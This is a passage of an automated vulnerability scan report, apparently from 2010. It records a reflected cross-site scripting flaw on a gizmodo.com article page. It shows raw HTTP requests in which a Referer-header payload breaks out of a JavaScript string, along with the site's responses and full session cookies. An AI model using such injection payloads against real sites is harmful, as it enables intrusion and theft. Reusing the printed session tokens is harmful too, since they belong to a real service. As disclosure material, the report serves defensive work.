Cookie: ad_url_commenter=0; form_token=203d155d993792d564eddf22bfde7719; __g_c=w%3A1%7Cb%3A2%7Cc%3A281937846076422%7Cd%3A1%7Ca%3A0%7Ce%3A0.01%7Cf%3A0; GANJAVIEW=deleted; SESSID_GANJA_474d3f8c65c5b1a0028a4c6fca7c6b21_DATA=mail2token%7Ca%3A2%3A%7Bs%3A5%3A%22token%22%3Bs%3A32%3A%2279c35afbdc45d54f784f46c37bc1c0bd%22%3Bs%3A4%3A%22time%22%3Bi%3A1292284770%3B%7D; ad_url_login=0; NSC_hbxlfs-qppm=8efb342b296b; base_domain_066270cf79f7674472a87f2f31c679e9=gizmodo.com; GANJAUSERSETTINGS=a%3A1%3A%7Bs%3A3%3A%22css%22%3BN%3B%7D; __g_u=281937846076422_1_0.01_0_5_1292716714685; SESSID_GANJA_474d3f8c65c5b1a0028a4c6fca7c6b21_CHKSUM=deleted; __utma=228390923.1835297575.1292284787.1292284787.1292284787.1; SESSID_GANJA_474d3f8c65c5b1a0028a4c6fca7c6b21_REVOL=deleted; __utmc=228390923; __utmb=228390923.1.10.1292284787; usrev=96542; __g_tut=1292284781061; __utmz=228390923.1292284787.1.1.utmcsr=(direct)|utmccn=(direct)|utmcmd=(none); fbsetting_066270cf79f7674472a87f2f31c679e9=%7B%22connectState%22%3A2%2C%22oneLineStorySetting%22%3A3%2C%22shortStorySetting%22%3A3%2C%22inFacebook%22%3Afalse%7D; SESSID_GANJA_474d3f8c65c5b1a0028a4c6fca7c6b21_CHK=c3d231b79508391269cdc37138e05014; __g_iut=1292284781057; SESSID_GANJA=474d3f8c65c5b1a0028a4c6fca7c6b21; ad_url_visited_gizmodo_com=true; _chartbeat2=8a5dcqortmtpygam; ad_url_star=0; __qca=P0-2073544606-1292284781071;
Referer: http://www.google.com/search?hl=en&q=8c7ce"%3balert(1)//e957f52fa1b

Response

HTTP/1.1 200 OK
Date: Tue, 14 Dec 2010 00:26:08 GMT
Server: Apache
X-Cookie-Set: 1
X-Powered-By: PHP/5.2.13
Set-Cookie: GANJAVIEW=deleted; expires=Mon, 14-Dec-2009 00:26:07 GMT; path=/
Set-Cookie: GANJAVIEW=deleted; expires=Mon, 14-Dec-2009 00:26:07 GMT; path=/; domain=.gizmodo.com
Set-Cookie: GANJAUSERSETTINGS=deleted; expires=Mon, 14-Dec-2009 00:26:07 GMT; path=/
Set-Cookie: GANJAUSERSETTINGS=a%3A1%3A%7Bs%3A3%3A%22css%22%3BN%3B%7D; path=/; domain=.gizmodo.com
Set-Cookie: ad_url_search=search_63448d6c125e852721b4d25de209c61d; path=/; domain=.gizmodo.com
Cache-Control: max-age=180
P3P: CP="IDC DSP COR CURa ADMa OUR IND PHY ONL COM STA"
GawkerApplicationHost: PEST-45
GawkerHost: GM27 - Request took D=96246 at t=1292286368635350 on site gizmodo.com (gizmo)
GawkerApplication: ganja
Keep-Alive: timeout=300, max=9891
Connection: Keep-Alive
Content-Type: text/html; charset=utf-8;
Content-Length: 98088

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml" xmlns:fb="http://www.facebook.com/2
...[SNIP]...
}

   google_ad_client = "pub-0457527031304647"; // substitute your client_id (pub-#)
   google_ad_channel = "gizmodo_sr_interrupt";
   google_ad_output = "js";
   google_max_num_ads = "3";
   google_hints = "8c7ce";alert(1)//e957f52fa1b";
   google_ad_type = "text";
   google_image_size = "728x90";
   google_feedback = "on";
   
   jQuery('.contactinfo').hide();
   // -->
...[SNIP]...

1.37. http://gizmodo.com/5713152/your-body-is-a-gadget [Referer HTTP header]  previous

Summary

Severity:   Low
Confidence:   Certain
Host:   http://gizmodo.com
Path:   /5713152/your-body-is-a-gadget

Issue detail

The value of the Referer HTTP header is copied into a JavaScript string which is encapsulated in double quotation marks. The payload dac7c"%3balert(1)//444f1d04ae9 was submitted in the Referer HTTP header. This input was echoed as dac7c";alert(1)//444f1d04ae9 in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Because the user data that is copied into the response is submitted within a request header, the application's behaviour is not trivial to exploit in an attack against another user. In the past, methods have existed of using client-side technologies such as Flash to cause another user to make a request containing an arbitrary HTTP header. If you can use such a technique, you can probably leverage it to exploit the XSS flaw. This limitation partially mitigates the impact of the vulnerability.

Remediation detail

Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context.

Request

GET /5713152/your-body-is-a-gadget HTTP/1.1
Host: gizmodo.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close
Cookie: ad_url_commenter=0; form_token=203d155d993792d564eddf22bfde7719; __g_c=w%3A1%7Cb%3A2%7Cc%3A281937846076422%7Cd%3A1%7Ca%3A0%7Ce%3A0.01%7Cf%3A0; GANJAVIEW=deleted; SESSID_GANJA_474d3f8c65c5b1a0028a4c6fca7c6b21_DATA=mail2token%7Ca%3A2%3A%7Bs%3A5%3A%22token%22%3Bs%3A32%3A%2279c35afbdc45d54f784f46c37bc1c0bd%22%3Bs%3A4%3A%22time%22%3Bi%3A1292284770%3B%7D; ad_url_login=0; NSC_hbxlfs-qppm=8efb342b296b; base_domain_066270cf79f7674472a87f2f31c679e9=gizmodo.com; GANJAUSERSETTINGS=a%3A1%3A%7Bs%3A3%3A%22css%22%3BN%3B%7D; __g_u=281937846076422_1_0.01_0_5_1292716714685; SESSID_GANJA_474d3f8c65c5b1a0028a4c6fca7c6b21_CHKSUM=deleted; __utma=228390923.1835297575.1292284787.1292284787.1292284787.1; SESSID_GANJA_474d3f8c65c5b1a0028a4c6fca7c6b21_REVOL=deleted; __utmc=228390923; __utmb=228390923.1.10.1292284787; usrev=96542; __g_tut=1292284781061; __utmz=228390923.1292284787.1.1.utmcsr=(direct)|utmccn=(direct)|utmcmd=(none); fbsetting_066270cf79f7674472a87f2f31c679e9=%7B%22connectState%22%3A2%2C%22oneLineStorySetting%22%3A3%2C%22shortStorySetting%22%3A3%2C%22inFacebook%22%3Afalse%7D; SESSID_GANJA_474d3f8c65c5b1a0028a4c6fca7c6b21_CHK=c3d231b79508391269cdc37138e05014; __g_iut=1292284781057; SESSID_GANJA=474d3f8c65c5b1a0028a4c6fca7c6b21; ad_url_visited_gizmodo_com=true; _chartbeat2=8a5dcqortmtpygam; ad_url_star=0; __qca=P0-2073544606-1292284781071;
Referer: http://www.google.com/search?hl=en&q=dac7c"%3balert(1)//444f1d04ae9

Response

HTTP/1.1 200 OK
Date: Tue, 14 Dec 2010 00:25:59 GMT
Server: Apache
X-Cookie-Set: 1
X-Powered-By: PHP/5.2.13
Set-Cookie: GANJAVIEW=deleted; expires=Mon, 14-Dec-2009 00:25:58 GMT; path=/
Set-Cookie: GANJAVIEW=deleted; expires=Mon, 14-Dec-2009 00:25:58 GMT; path=/; domain=.gizmodo.com
Set-Cookie: GANJAUSERSETTINGS=deleted; expires=Mon, 14-Dec-2009 00:25:58 GMT; path=/
Set-Cookie: GANJAUSERSETTINGS=a%3A1%3A%7Bs%3A3%3A%22css%22%3BN%3B%7D; path=/; domain=.gizmodo.com
Set-Cookie: ad_url_search=search_63448d6c125e852721b4d25de209c61d; path=/; domain=.gizmodo.com
Cache-Control: max-age=180
P3P: CP="IDC DSP COR CURa ADMa OUR IND PHY ONL COM STA"
GawkerApplicationHost: PEST-45
GawkerHost: GM27 - Request took D=90409 at t=1292286359400467 on site gizmodo.com (gizmo)
GawkerApplication: ganja
Keep-Alive: timeout=300, max=9965
Connection: Keep-Alive
Content-Type: text/html; charset=utf-8;
Content-Length: 94293

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml" xmlns:fb="http://www.facebook.com/2
...[SNIP]...
}

   google_ad_client = "pub-0457527031304647"; // substitute your client_id (pub-#)
   google_ad_channel = "gizmodo_sr_interrupt";
   google_ad_output = "js";
   google_max_num_ads = "3";
   google_hints = "dac7c";alert(1)//444f1d04ae9";
   google_ad_type = "text";
   google_image_size = "728x90";
   google_feedback = "on";
   
   jQuery('.contactinfo').hide();
   // -->
...[SNIP]...

Report generated by XSS.CX at Mon Dec 13 18:33:20 CST 2010.